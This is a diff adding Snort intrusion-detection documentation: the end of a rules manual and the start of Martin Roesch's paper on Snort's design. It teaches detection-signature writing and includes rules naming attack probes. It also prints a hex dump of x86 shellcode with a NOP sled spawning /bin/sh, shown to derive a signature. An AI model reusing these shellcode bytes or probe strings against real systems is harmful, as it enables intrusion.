+logging mode.
+<p>Format:
+<blockquote>logto: "<i>&lt;filename></i>";</blockquote>
+
+<p><br><a NAME="minfrag"></a><b>Minfrag</b>
+<p>Minfrag sets a minimum size threshold for a fragmented packet.&nbsp;
+It is generally used in conjunction with a single alert rule to set a boundry
+for the minimum fragment size that is acceptable on a network segment.&nbsp;
+It makes a handy detector for attackers that like to break their fragments
+into tiny pieces before transmitting them to try to avoid detection mechaisms.&nbsp;
+Generally speaking, there is virtually no commercial network equipment
+available that generates fragments smaller than 256-bytes, so people can
+take advantage of this fact by setting their minfrag value somewhere below
+that threshold.&nbsp; See Figure 6 for an example of a rule that uses the
+minfrag option.
+<p>Format:
+<blockquote>minfrag: "<i>&lt;number></i>";</blockquote>
+
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert tcp any any -> any any (minfrag: 256; msg: "Tiny fragments
+detected, possible hostile activity";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 6 - Minfrag Rule Option Example</center>
+
+<p><br>
+<br>
+<br>
+<br>
+<p><a NAME="ttl"></a><b>TTL</b>
+<p>This rule option is used to set a specific time-to-live value to test
+against.&nbsp; The test it performs is only sucessful on an exact match.&nbsp;
+This option keyword was intended for use in the detection of traceroute
+attempts.
+<p>Format:
+<blockquote>ttl: "<i>&lt;number></i>";</blockquote>
+<a NAME="id"></a><b>ID</b>
+<p>This option keyword is used to test for an exact match in the IP header
+fragment ID field.&nbsp; Some hacking tools (and other programs) set this
+field specifically for various purposes, for example the value 31337 is
+very popular with some hackers.&nbsp; This can be turned against them by
+putting a simple rule in place to test for this and some other "hacker
+numbers".
+<p>Format:
+<blockquote>id: "<i>&lt;number></i>;</blockquote>
+
+<p><br><a NAME="dsize"></a><b>Dsize</b>
+<p>The dsize option is used to test the packet payload size.&nbsp; It may
+be set to any value, plus use the greater than/less than signs to indicate
+ranges and limits.&nbsp; For example, if you know that a certain service
+has a buffer of a certain size, you can set this option to watch for attempted
+buffer overflows.&nbsp; It has the added advantage of being a much faster
+way to test for a buffer overflow than a payload content check.
+<p>Format:
+<blockquote>dsize: [<i>></i>|<i>&lt;</i>] <i>&lt;number></i>;
+<br>Note: The > and &lt; operators are optional!</blockquote>
+
+<p><br><a NAME="content"></a><b>Content</b>
+<p>The content keyword is one of the more important features of Snort.&nbsp;
+It allows the user to set rules that search for specific content in the
+packet payload and trigger response based on that data.&nbsp; Whenever
+a content option pattern match is performed, the Boyer-Moore pattern match
+function is called and the (rather computationally expensive) test is performed
+against the packet contents.&nbsp; If data exactly matching the argument
+data string os contained anywhere within the packet's payload, the test
+is successful and the remainder of the rule option tests are performed.&nbsp;
+Be aware that this test <b>is</b> case sensitive.
+<p>The option data for the content keyword is somewhat complex; it can
+contain mixed text and binary data.&nbsp; The binary data is generally
+enclosed within the pipe ("|") character and represented as <i>bytecode</i>.&nbsp;
+Bytecode represents binary data as hexidecimal numbers and is a good shorthand
+method for describing complex binary data.&nbsp; Figure 7 contains an example
+of mixed text and binary data in a Snort rule.
+<br>&nbsp;
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert tcp any any -> 192.168.1.0/24 143 (content: "|90C8 C0FF FFFF|/bin/sh";
+msg: "IMAP buffer overflow!";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 7 - Mixed Binary Bytecode and Text in a Content Rule Option</center>
+
+<p>Format:
+<blockquote>content: "<i>&lt;content string></i>";</blockquote>
+
+<p><br><a NAME="offset"></a><b>Offset</b>
+<p>The offset rule option is used as a modifier to rules using the content
+option keyword.&nbsp; This keyword modifies the starting search position
+for the pattern match function from the beginning of the packet payload.&nbsp;
+It is very useful for things like CGI scan detection rules where the content
+search string is never found in the first four bytes of the payload.&nbsp;
+Care should be taken against setting the offset value too "tightly" and
+potentially missing an attack!&nbsp; This rule option keyword cannot be
+used without also specifying a content rule option.
+<p>Format:
+<blockquote>offset: <i>&lt;number></i>;</blockquote>
+
+<p><br><a NAME="depth"></a><b>Depth</b>
+<p>Depth is another content rule option modifier.&nbsp; This sets the maximum
+search depth for the content pattern match function to search from the
+beginning of its search region.&nbsp; It is useful for limiting the pattern
+match function from performing inefficient searches once the possible search
+region for a given set of content has been exceeded.&nbsp; (Which is to
+say, if you're searching for "cgi-bin/phf" in a web-bound packet, you probably
+don't need to waste time searching the payload beyond the first 20 bytes!)&nbsp;
+See Figure 8 for an example of a combined content, offset, and depth search
+rule.
+<p>Format:
+<blockquote>depth: <i>&lt;number></i>;</blockquote>
+
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert tcp any any -> 192.168.1.0/24 80 (content: "cgi-bin/phf";
+offset: 3; depth: 22; msg: "CGI-PHF attack";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 8 - Combined Content, Offset and Depth Rule</center>
+
+<p><br>
+<br>
+<br>
+<br>
+<br>
+<p><a NAME="flags"></a><b>Flags</b>
+<p>This rule tests the TCP flags for an exact match.&nbsp; There are actually
+<b>8
+</b>flags
+variables available in Snort:
+<ul>
+<li>
+F - FIN (LSB in TCP Flags byte)</li>
+
+<li>
+S - SYN</li>
+
+<li>
+R - RST</li>
+
+<li>
+P - PSH</li>
+
+<li>
+A - ACK</li>
+
+<li>
+U - URG</li>
+
+<li>
+2 - Reserved bit 2</li>
+
+<li>
+1 - Reserved bit 1 (MSB in TCP Flags byte)</li>
+</ul>
+The reserved bits can be used to detect unusual behavior, such as IP stack
+fingerprinting attempts or other suspicious activity.&nbsp; All of the
+flags are considered as a whole for this test, they must all be "up" for
+this rule option to be successful.&nbsp; For instance, Figure 9 shows a
+SYN-FIN scan detection rule.
+<p>Format:
+<blockquote>flags: <i>&lt;flag values></i>;</blockquote>
+
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert any any -> 192.168.1.0/24 any (flags: SF; msg: "Possible
+SYN FIN scan";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 9 - Sample TCP Flags Specification</center>
+
+<p><br>
+<br>
+<p><a NAME="seq"></a><b>Seq</b>
+<p>This rule option refers to the TCP sequence number.&nbsp; Essentially,
+it detects if the packet has a static sequence number set, and is therefore
+pretty much unused.&nbsp; It was included for the sake of completeness.
+<p>Format:
+<blockquote>seq: <i>&lt;number></i>;</blockquote>
+
+<p><br><a NAME="ack"></a><b>Ack</b>
+<p>The ack rule option keyword refers to the TCP header's acknowledge field.&nbsp;
+This rule has one practical purpose so far: detecting&nbsp; <a href="http://www.insecure.org">NMAP</a>
+TCP pings.&nbsp; A NMAP TCP ping sets this field to zero and sends a packet
+with the TCP ACK flag set to determine if a network host is active.&nbsp;
+The rule to detect this activity is shown in Figure 10.
+<p>Format:
+<blockquote>ack: <i>&lt;number></i>;</blockquote>
+
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert any any -> 192.168.1.0/24 any (flags: A; ack: 0; msg: "NMAP
+TCP ping";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 10 - TCP ACK Field Usage</center>
+
+<p><br>
+<br>
+<p><a NAME="itype"></a><b>Itype</b>
+<p>This rule tests the value of the ICMP type field.&nbsp; It is set using
+the <i>numeric</i> value of this field.&nbsp; For a list of the available
+values, look in the decode.h file included with Snort or in any ICMP reference.&nbsp;
+It should be noted that the values can be set out of range to detect invalid
+ICMP type values that are sometimes used in denial of service and flooding
+attacks.
+<p>Format:
+<blockquote>itype: <i>&lt;number></i>;</blockquote>
+
+<p><br><a NAME="icode"></a><b>Icode</b>
+<p>The icode rule option keyword is pretty much identical to the itype
+rule, just set a numeric value in here and Snort will detect any traffic
+using that ICMP code value.&nbsp; Out of range values can also be set to
+detect suspicious traffic.
+<p>Format:
+<blockquote>icode: <i>&lt;number></i>;</blockquote>
+
+<p><br><a NAME="session"></a><b>Session</b>
+<p>The session keyword is brand new as of version 1.3.1.1 and is used to
+extract the user data from TCP sessions.&nbsp; It is extremely useful for
+seeing what users are typing in telnet, rlogin, ftp, or even web sessions.&nbsp;
+There are two available argument keywords for the session rule option,
+<i>printable</i>
+or <i>all</i>.&nbsp; The <i>printable</i> keyword only prints out data
+that the user would normally see or be able to type.&nbsp; The <i>all</i>
+keyword substitutes non-printable characters with their hexadecimal equivalents.&nbsp;
+This function can slow Snort down considerably, so it shouldn't be used
+in heavy load situations, and is probably best suited for post-processing
+binary (tcpdump format) log files.&nbsp; See Figure 11 for a good example
+of a telnet session logging rule.
+<p>Format:
+<blockquote>session: <i>[printable|all]</i>;</blockquote>
+
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>log tcp any any &lt;> 192.168.1.0/24 23 (session: printable;)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 11 - Logging Printable Telnet Session Data</center>
+
+<p><br></blockquote>
+<a NAME="advanced_rule_concepts"></a><b><i><font size=+1>Advanced Rule
+Concepts</font></i></b>
+<br>&nbsp;
+<blockquote><a NAME="includes"></a><b>Includes</b><b></b>
+<p>Versions of Snort after 1.3.1.2 include new rules file parsing functionality
+developed by Christian Lademann, including two new rules file keywords.&nbsp;
+The first of these keywords is <i>include</i>.&nbsp; The <i>include</i>
+keyword allows other rule files to be included with the rules file that
+indicated on the Snort command line.
+<p>Format:
+<blockquote>include: <i>&lt;include file path/name></i></blockquote>
+Note that there is no semicolon at the end of this line.&nbsp; Included
+files will substitute any predefined variable values into their own variable
+references.&nbsp; See the Variables section for more information on defining
+and using variables in Snort rule files.
+<p><a NAME="variables"></a><b>Variables</b>
+<p>As of version 1.3.1.2, variables may be defined in Snort.&nbsp; These
+are simple substitution variables set with the <i>var</i> keyword as in
+Figure 12.
+<p>Format:
+<blockquote>var: <i>&lt;name> &lt;value></i></blockquote>
+
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<br>var MY_NET 192.168.1.0/24
+<p>alert tcp any any -> $MY_NET any (flags: S; msg: "SYN packet";)
+<br>&nbsp;</td>
+</tr>
+</table></center>
+
+<center>Figure 12 - Example of Variable Definition and Usage</center>
+
+<p>The rule variable names can be modified in several ways.&nbsp; You can
+define <i>meta-variables </i>using the "$" operator.&nbsp; These can be
+used with the variable modifier operators, "?" and "-".
+<ul>
+<li>
+$var - define meta variable</li>
+
+<li>
+$(var) - replace with the contents of variable "var"</li>
+
+<li>
+$(var:-default) - replace with the contents of the variable "var" or with
+"default" if "var" is undefined.</li>
+
+<li>
+$(var:?message) - replace with the contents of variable "var" or print
+out the error message "message" and exit</li>
+</ul>
+See figure 13 for an example of these rules modifiers in action.
+<br>&nbsp;
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<br>var MY_NET $(MY_NET:-192.168.1.0/24)
+<p>log tcp any any -> $(MY_NET:?MY_NET is undefined!) 23
+<br>&nbsp;</td>
+</tr>
+</table></center>
+
+<center>Figure 13 - Advanced Variable Usage Example</center>
+
+<br>&nbsp;
+<p><br></blockquote>
+<a NAME="building_good_rules"></a><b><i><font size=+1>Building Good Rules</font></i></b>
+<blockquote>There are some general concepts to keep in mind when developing
+Snort rules to maximize efficiency and speed.&nbsp; I will add to this
+section as my muse wills. :)
+<p><a NAME="case_sensitive"></a><b>Content Rules are Case Sensitive</b><i></i>
+<p>Don't forget that content rules are case sensitive and that many programs
+typically use uppercase letters to indicate commands.&nbsp; FTP is a good
+example of this.&nbsp; Consider the following two rules:
+<center>
+<p>alert tcp any any -> 192.168.1.0/24 21 (content: "user root"; msg: "FTP
+root login";)
+<br>alert tcp any any -> 192.168.1.0/24 21 (content: "USER root"; msg:
+"FTP root login";)</center>
+
+<p>The second of those two rules will catch most every automated root login
+attempt, but none that use lower case characters for "user".&nbsp; Case
+insensitivity is a feature that will probably be added in future versions
+of Snort, but for now be aware that case counts!
+<p><a NAME="speed_content"></a><b>Speeding Up Rules That Have Content Options</b><b></b>
+<p>The order that rules are tested by the detection engine is completely
+independent of the order that they are written in a rule.&nbsp; The last
+rule test that is done (when necessary) is always the content rule option.&nbsp;
+Take advantage of this fact by using other faster rule options that can
+detect whether or not the content needs to be checked at all.&nbsp; For
+instance, most of the time when data is sent from client to server after
+a TCP session is established, the PSH and ACK TCP flags are set on the
+packet containing the data.&nbsp; This fact can be taken advantage of by
+rules that need to test payload content coming from the client to the sever
+with a simple TCP flag test that is far less computationally expensive
+than the pattern match algorithm.&nbsp; Knowing this, a simple way to speed
+up rules that use content options is to also perform a flag test, as in
+Figure 14.&nbsp; The basic idea is that if the PSH and ACK flags aren't
+set, there's no need to test the packet payload for the given rule.&nbsp;
+If the flags are set, the additional computing power required to perform
+the test is negligible.
+<br>&nbsp;
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert tcp any any -> 192.168.1.0/24 80 (content: "cgi-bin/phf";
+flags: PA; msg: "CGI-PHF probe";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 14 - Using TCP Flag Tests to Hasten Content Rules</center>
+
+<br>&nbsp;
+<p><br>
+<br>&nbsp;</blockquote>
+<HR>
+<I> Version 1.0, All rights reserved, &#169; Copyright 1999 Martin Roesch
+
+</body>
+</html>
--- snort-2.8.5.2.orig/debian/my/lisapaper.txt
+++ snort-2.8.5.2/debian/my/lisapaper.txt
@@ -0,0 +1,774 @@
+	    Snort - Lightweight Intrusion Detection for Networks
+
+				Martin Roesch
+				Stanford Telecommunications, Inc.
+				roesch@clark.net
+
+ABSTRACT
+
+	Network intrusion detection systems (NIDS) are an important part of any
+network security architecture.  They provide a layer of defense which monitors
+network traffic for predefined suspicious activity or patterns, and alert
+system administrators when potential hostile traffic is detected.  Commercial
+NIDS have many differences, but Information Systems departments must face the
+commonalities that they share such as significant system footprint, complex 
+deployment and high monetary cost.  Snort was designed to address these issues.
+
+Introduction
+
+	Snort fills an important "ecological niche" in the the realm of network
+security: a cross-platform, lightweight network intrusion detection tool that
+can be deployed to monitor small TCP/IP networks and detect a wide variety of
+suspicious network traffic as well as outright attacks.  It can provide
+administrators with enough data to make informed decisions on the proper course
+of action in the face of suspicious activity.  Snort can also be deployed
+rapidly to fill potential holes in a network's security coverage, such as when
+a new attack emerges and commercial security vendors are slow to release new
+attack recognition signatures.  This paper discusses the background of Snort
+and its rules-based traffic collection engine, as well as new and different
+applications where it can be very useful as a part of an integrated network
+security infrastructure.
+
+	Snort is a tool for small, lightly utilized networks.  Snort is useful
+when it is not cost efficient to deploy commercial NIDS sensors.  Modern 
+commercial intrusion detection systems cost thousands of dollars at minimum,
+tens or even hundreds of thousands in extreme cases.  Snort is available under
+the GNU General Public License [GNU89], and is free for use in any environment,
+making the employment of Snort as a network security system more of a network
+management and coordination issue than one of affordability.  
+
+What is "lightweight" intrusion detection?
+
+	A lightweight intrusion detection system can easily be deployed on most
+any node of a network, with minimal disruption to operations.  Lightweight IDS'
+should be cross-platform, have a small system footprint, and be easily 
+configured by system administrators who need to implement a specific security
+solution in a short amount of time.  They can be any set of software tools
+which can be assembled and put into action in response to evolving security
+situations.  Lightweight IDS' are small, powerful, and flexible enough to be 
+used as permanent elements of the network security infrastructure.
+
+	Snort is well suited to fill these roles, weighing in at roughly 100 
+kilobytes in its compressed source distribution.  On most modern architectures
+Snort takes only a few minutes to compile and put into place, and perhaps 
+another ten minutes to configure and activate.  Compare this with many 
+commercial NIDS', which require dedicated platforms and user training to deploy
+in a meaningful way.  Snort can be configured and left running for long 
+periods of time without requiring monitoring or administrative maintenance, and
+can therefore also be utilized as an integral part of most network security 
+infrastructures.
+
+What is Snort?
+
+	Snort is a libpcap-based [PCAP94] packet sniffer and logger that can 
+be used as a lightweight network intrusion detection system (NIDS).  It
+features rules based logging to perform content pattern matching and detect 
+a variety of attacks and probes, such as buffer overflows [ALE96], stealth port
+scans, CGI attacks, SMB probes, and much more.  Snort has real-time alerting 
+capability, with alerts being sent to syslog, Server Message Block (SMB) 
+"WinPopup" messages,  or a separate "alert" file.  Snort is configured using 
+command line switches and optional Berkeley Packet Filter [BPF93] commands. 
+The detection engine is programmed using a simple language that describes per
+packet tests and actions.  Ease of use simplifies and expedites the development
+of new exploit detection rules.  For example, when the IIS Showcode [IISBT99] 
+web exploits were revealed on the Bugtraq mailing list [BTQ99], Snort rules to
+detect the probes were available within a few hours.
+
+Snort vs. The World!
+
+	Snort shares commonalities with both sniffers and NIDS.  Two programs 
+that lend themselves to direct comparison with Snort, tcpdump and Network
+Flight Recorder [NFR97], will be examined and contrasted in this section.
+In many cases, Snort is financially, technically, and/or adminstratively easier
+to implement than other Open Source [OSS98] or commercially available tools.
+
+How is Snort different from tcpdump?
+
+	Snort is cosmetically similar to tcpdump [TCPD91] but is more focused
+on the security applications of packet sniffing.  The major feature that Snort
+has which tcpdump does not is packet payload inspection.  Snort decodes the
+application layer of a packet and can be given rules to collect traffic that
+has specific data contained within its application layer.  This allows Snort to
+detect many types of hostile activity, including buffer overflows, CGI scans,
+or any other data in the packet payload that can be characterized in a unique
+detection fingerprint. 
+
+	Another Snort advantage is that its decoded output display is
+somewhat more user friendly than tcpdump's output.  Snort does not currently 
+lookup host names or port names while running, which is a function that 
+tcpdump can perform.  Snort is focused on collecting packets as quickly as 
+possible and processing them in the Snort detection engine.  Performing 
+run-time host name lookup is not conducive to high performance packet 
+analysis.  Figure 1 shows typical Snort output for a telnet banner display,
+and Figure 2 shows the same packet as displayed by tcpdump.
+
+	Figure 1 - Typical Snort telnet packet display:
+--------------------------------------------------------------------------
+20:59:49.153313 0:10:4B:D:A9:66 -> 0:60:97:7:C2:8E type:0x800 len:0x7D
+192.168.1.3:23 -> 192.168.1.4:1031 TCP TTL:64 TOS:0x10 DF
+***PA* Seq: 0xDF4A6536   Ack: 0xB3A6FD01   Win: 0x446A
+FF FA 22 03 03 E2 03 04 82 0F 07 E2 1C 08 82 04  ..".............
+09 C2 1A 0A 82 7F 0B 82 15 0F 82 11 10 82 13 FF  ................
+F0 0D 0A 46 72 65 65 42 53 44 20 28 65 6C 72 69  ...FreeBSD (elri
+63 2E 68 6F 6D 65 2E 6E 65 74 29 20 28 74 74 79  c.home.net) (tty
+70 30 29 0D 0A 0D 0A                             p0)....
+---------------------------------------------------------------------------
+ 
+	Figure 2 - The same telnet packet as displayed by tcpdump:
+---------------------------------------------------------------------------
+20:59:49.153313 0:10:4b:d:a9:66 0:60:97:7:c2:8e 0800 125: 192.168.1.3.23 >
+192.168.1.4.1031: P 76:147(71) ack 194 win 17514 (DF) [tos 0x10] (ttl 64, 
+id 660)
+                         4510 006f 0294 4000 4006 b48d c0a8 0103
+                         c0a8 0104 0017 0407 df4a 6536 b3a6 fd01
+                         5018 446a d2ad 0000 fffa 2203 03e2 0304
+                         820f 07e2 1c08 8204 09c2 1a0a 827f 0b82
+                         150f 8211 1082 13ff f00d 0a46 7265 6542
+                         5344 2028 656c 7269 632e 686f 6d65 2e6e
+                         6574 2920 2874 7479 7030 290d 0a0d 0a
+---------------------------------------------------------------------------
+
+	One powerful feature that Snort and tcpdump share, is the capability
+to filter traffic with Berkeley Packet Filter (BPF) commands.  This allows
+traffic to be collected based upon a variety of specific packet fields.  For 
+example, both tools may be instructed via BPF commands to process TCP traffic
+only.  While tcpdump would collect all TCP traffic, Snort can utilize its
+flexible rules set to perform additional functions, such as searching out and
+recording only those packets that have their TCP flags set a particular way or
+containing web requests that amount to CGI vulnerability probes.  The SHADOW
+IDS [SHD98] from the Naval Surface Warfare Center is based on tcpdump and uses
+extensive BPF filtering. SHADOW is discussed in more detail near the end of
+this paper.
+
+Snort and NFR
+
+	Perhaps the best comparison of Snort to NFR is the analogy of Snort
+as little brother to NFR's college-bound football hero.  Snort shares some of
+the same concepts of functionality as NFR, but NFR is a more flexible and
+complete network analysis tool.  That said, the little brother idea could be
+extended in that Snort tends to fit into small places and is somewhat more
+"nimble" than NFR.  For example, NFR's packet filtering n-code language is
+a serious, full featured scripting language, while Snort's rules are more one
+dimensional.  On the other hand, writing a Snort rule to detect a new attack
+takes only minutes once the attack signature has been determined.  See 
+Appendix A for an example of a simple web detection rule written in n-code and
+the analogous Snort rule.
+	
+	NFR also has a more complete feature set than Snort, including IP 
+fragmentation reassembly and TCP stream decoding.  These features are essential
+in any commercial product that is meant to perform mission critical intrusion 
+detection, and NFR was the first product which could defeat anti-NIDS attacks 
+outlined by Ptacek and Newsham [PTA98].  Presently, Snort does not implement TCP
+stream reassembly, but future versions will implement this capability.
+Snort currently addresses IP fragmentation with a rule option that sets a
+minimum size threshold for fragmented packets.  This rule option takes 
+advantage of the fact that there is virtually no commercial network equipment
+on the market that fragments packets smaller than 256-bytes.  By setting this 
+threshold value to some reasonable value, say 128-bytes, fragmented packet 
+probes and attacks can be logged and alerts can be sent by Snort automatically.
+Full IP fragment and TCP stream reassembly and analysis will be addressed in 
+later versions of Snort.
+
+Under the Hood
+
+	Snort's architecture is focused on performance, simplicity, and
+flexibility.  There are three primary subsystems that make up Snort: the
+packet decoder, the detection engine, and the logging and alerting subsystem.
+These subsystems ride on top of the libpcap promiscuous packet sniffing
+library, which provides a portable packet sniffing and filtering capability.
+Program configuration, rules parsing, and data structure generation takes place
+before the sniffer section is initialized, keeping the amount of per packet
+processing to the minimum required to achieve the base program functionality.
+
+The packet decoder 
+
+	The decode engine is organized around the layers of the protocol stack
+present in the supported data-link and TCP/IP protocol definitions.  Each
+subroutine in the decoder imposes order on the packet data by overlaying data 
+structures on the raw network traffic.  These decoding routines are called in
+order through the protocol stack, from the data link layer up through the 
+transport layer, finally ending at the application layer.  Speed is emphasized
+in this section, and the majority of the functionality of the decoder consists
+of setting pointers into the packet data for later analysis by the detection
+engine.  Snort provides decoding capabilities for Ethernet, SLIP, and raw (PPP)
+data-link protocols.  ATM support is under development.  
+
+The detection engine
+
+	Snort maintains its detection rules in a two dimensional linked list of
+what are termed Chain Headers and Chain Options.  These are lists of rules that
+have been condensed down to a list of common attributes in the Chain Headers,
+with the detection modifier options contained in the Chain Options.  For
+example, if forty five CGI-BIN probe detection rules are specified in a given
+Snort detection library file, they generally all share common source and
+destination IP addresses and ports.  To speed the detection processing, these
+commonalities are condensed into a single Chain Header and then individual
+detection signatures are kept in Chain Option structures.
+
+	Figure 3 - Rule Chain logical structure
+-------------------------------------------------------------------------------
+  ------------------------            ------------------------            -----
+ | Chain Header           |          | Chain Header           |          | Chai
+ |                        |          |                        |          |
+ | Source IP Address      |          | Source IP Address      |          | Sour
+ | Destination IP Address |--------->| Destination IP Address |--------->| Dest
+ | Source Port            |          | Source Port            |          | Sour
+ | Destination Port       |          | Destination Port       |          | Dest
+ |                        |          |                        |          |
+  ------------------------            ------------------------            -----
+             |                                   |
+             |                                   |
+             |                                   |
+            \|/                                 \|/
+  -----------V---------               -----------V---------
+ | Chain Option        |             | Chain Option        |
+ |                     |             |                     |
+ | Content             |
+ | TCP Flags           |
+ | ICMP Codes/types    |
+ | Payload Size        |
+ | etc.                |
+ |                     |
+  --------------------- 
+             |
+             |
+             |
+            \|/
+  -----------V---------
+ | Chain Option        |
+ |                     |
+ | Content             |
+ | TCP Flags           |
+ | ICMP Codes/types    |
+ | Payload Size        |
+ | etc.                |
+ |                     |
+  --------------------- 
+             |
+             |
+
+-------------------------------------------------------------------------------
+
+	These rule chains are searched recursively for each packet in both
+directions.  The detection engine checks only those chain options which have 
+been set by the rules parser at run-time.  The first rule that matches a 
+decoded packet in the detection engine triggers the action specified in the 
+rule definition and returns.
+
+	A major overhaul of the detection engine is currently in the planning
+and development stage.  The next version of the engine will include the
+capability for users to write and distribute plug-in modules and bind them to
+keywords for the detection engine rules language.  This will allow anyone with
+an appropriate plug-in module to add significant detection functionality to
+Snort and customize the program for specific jobs.
+
+The logging/alerting subsystem
+
+	The alerting and logging subsystem is selected at run-time with command
+line switches.  There are currently three logging and five alerting options.
+The logging options can be set to log packets in their decoded, human readable
+format to an IP-based directory structure, or in tcpdump binary format to a
+single log file.  The decoded format logging allows fast analysis of data
+collected by the system.  The tcpdump format is much faster to record to the
+disk and should be used in instances where high performance is required.
+Logging can also be turned off completely, leaving alerts enabled for even
+greater performance improvements. 
+
+	Alerts may either be sent to syslog, logged to an alert text file in two
+different formats, or sent as WinPopup messages using the Samba smbclient
+program.  The syslog alerts are sent as security/authorization messages that are
+easily monitored with tools such as swatch [SWT93].  WinPopup alerts allow
+event notifications to be sent to a user-specified list of Microsoft Windows
+consoles running the WinPopup software.  There are two options for sending the
+alerts to a plain text file; full and fast alerting.  Full alerting writes the
+alert message and the packet header information through the transport layer
+protocol.  The fast alert option writes a condensed subset of the header
+information to the alert file, allowing greater performance under load than 
+full mode.  There is a fifth option to completely disable alerting, which is 
+useful when alerting is unnecessary or inappropriate, such as when network
+penetrations tests are being performed. 
+
+Writing Snort Rules
+
+	Snort rules are simple to write, yet powerful enough to detect a wide
+variety of hostile or merely suspicious network traffic.  There are three base
+action directives that Snort can use when a packet matches a specified rule
+pattern: pass, log, or alert.  Pass rules simply drop the packet.  Log rules
+write the full packet to the logging routine that was user selected at
+run-time.  Alert rules generate an event notification using the method specified
+by the user at the command line, and then log the full packet using the
+selected logging mechanism to enable later analysis.
+
+	The most basic rules contain only protocol, direction, and the port of 
+interest, such as in Figure 4.
+
+	Figure 4 - A simple Snort rule
+---------------------------------------------------------------------------
+log tcp any any -> 10.1.1.0/24 79
+---------------------------------------------------------------------------
+
+This rule would record all traffic inbound for port 79 (finger) going to 
+the 10.1.1 class C network address space.  
+
+	Snort interprets keywords enclosed in parentheses as "option fields".  
+Option fields are available for all rule types and may be used to generate 
+complex behaviors from the program, such as in Figure 5.  
+
+	Figure 5 - Options allow increased rule complexity  
+---------------------------------------------------------------------------
+alert tcp any any -> 10.1.1.0/24 80 (content: "/cgi-bin/phf"; msg: "PHF
+probe!";)
+---------------------------------------------------------------------------
+
+The rule in Figure 5 would detect attempts to access the PHF service on any
+of the local network's web servers.  If such a packet is detected on the
+network, an event notification alert is generated and then the entire packet
+is logged via the logging mechanism selected at run-time.
+
+	The rule IP address and port specifiers have several features
+available.  The CIDR block netmask may be set to any value between one and
+thirty-two.  Port ranges can be specified using the colon ":" modifier.  For
+example, to monitor all ports upon which the X Windows service may run
+(generally 6000 through 6010), the port range could be specified with the colon
+modifier as shown in Figure 6.
+
+	Figure 6 - An example of port ranges
+---------------------------------------------------------------------------
+alert tcp any any -> 10.1.1.0/24 6000:6010 (msg: "X traffic";)
+---------------------------------------------------------------------------
+
+	Both ports and IP addresses can be modified to match by exception with
+the bang "!" operator, which would be useful in the rule described in Figure 7
+to detect X Windows traffic from sources outside of the network.
+
+	Figure 7 - Matching by exception on the source IP address
+---------------------------------------------------------------------------
+alert tcp !10.1.1.0/24 any -> 10.1.1.0/24 6000:6010 (msg: "X traffic";)
+---------------------------------------------------------------------------
+
+This rule would generate an alert for all traffic originating outside of the
+host network that was bound for internal X Windows service ports.
+
+	Snort version 1.2.1 has fourteen option fields available:
+
+	1. content: Search the packet payload for the a specified pattern.
+
+	2. flags: Test the TCP flags for specified settings.
+
+	3. ttl: Check the IP header's time-to-live (TTL) field.
+
+	4. itype: Match on the ICMP type field.
+
+	5. icode: Match on the ICMP code field.
+
+	6. minfrag: Set the threshold value for IP fragment size.
+
+	7. id: Test the IP header for the specified value.
+
+	8. ack: Look for a specific TCP header acknowledgement number.
+
+	9. seq: Log for a specific TCP header sequence number.
+
+	10. logto: Log packets matching the rule to the specified filename.
+
+	11. dsize: Match on the size of the packet payload.
+
+	12. offset: Modifier for the content option, sets the offset into the
+	            packet payload to begin the content search.
+
+	13. depth: Modifier for the content option, sets the number of bytes 
+	           from the start position to search through.
+
+	14. msg: Sets the message to be sent when a packet generates an event.
+
+	These options may be combined in any manner to detect and classify
+packets of interest.  The rule options are processed using a logical AND
+between them; all of the testing options in a rule must be true in order
+for the rule to generate a "found" response and have the program perform the
+rule action.
+ 
+Rule Development
+
+	Snort is extremely useful for rapidly developing new Snort rules.  The 
+clear and concise manner in which the data is displayed by the tool makes it
+perfect for writing new rules.  The general method for development consists of
+getting the exploit of interest, such as a new buffer overflow, running the
+exploit on a test network with Snort recording all traffic between the target
+and attack hosts, and then analyzing the data for a unique signature and
+condensing that signature into a rule.  Figure 8 shows Snort's view of a
+notional "IMAP buffer overflow" that has just come into widespread use by the
+"script kiddie" community.
+
+	Figure 8 - Notional "IMAP buffer overflow" packet
+--------------------------------------------------------------------------
+052499-22:27:58.403313 192.168.1.4:1034 -> 192.168.1.3:143 
+TCP TTL:64 TOS:0x0 DF
+***PA* Seq: 0x5295B44E   Ack: 0x1B4F8970   Win: 0x7D78
+90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 3B  ...............;
+5E 89 76 08 31 ED 31 C9 31 C0 88 6E 07 89 6E 0C  ^.v.1.1.1..n..n.
+B0 0B 89 F3 8D 6E 08 89 E9 8D 6E 0C 89 EA CD 80  .....n....n.....
+31 DB 89 D8 40 CD 80 90 90 90 90 90 90 90 90 90  1...@...........
+90 90 90 90 90 90 90 90 90 90 90 E8 C0 FF FF FF  ................
+2F 62 69 6E 2F 73 68 90 90 90 90 90 90 90 90 90  /bin/sh.........
+---------------------------------------------------------------------------
+
+	The unique signature data in the application layer is the machine
+code just prior to the /bin/sh text string, as well as the string itself.
+Using this information, a new rule can be developed quickly, such as the one
+defined in Figure 9.
+
+	Figure 9 - Alert rule for the new buffer overflow
+---------------------------------------------------------------------------
+alert tcp any any -> 192.168.1.0/24 143 (content:"|E8C0 FFFF FF|/bin/sh";
+msg:"New IMAP Buffer Overflow detected!";)
+---------------------------------------------------------------------------
+
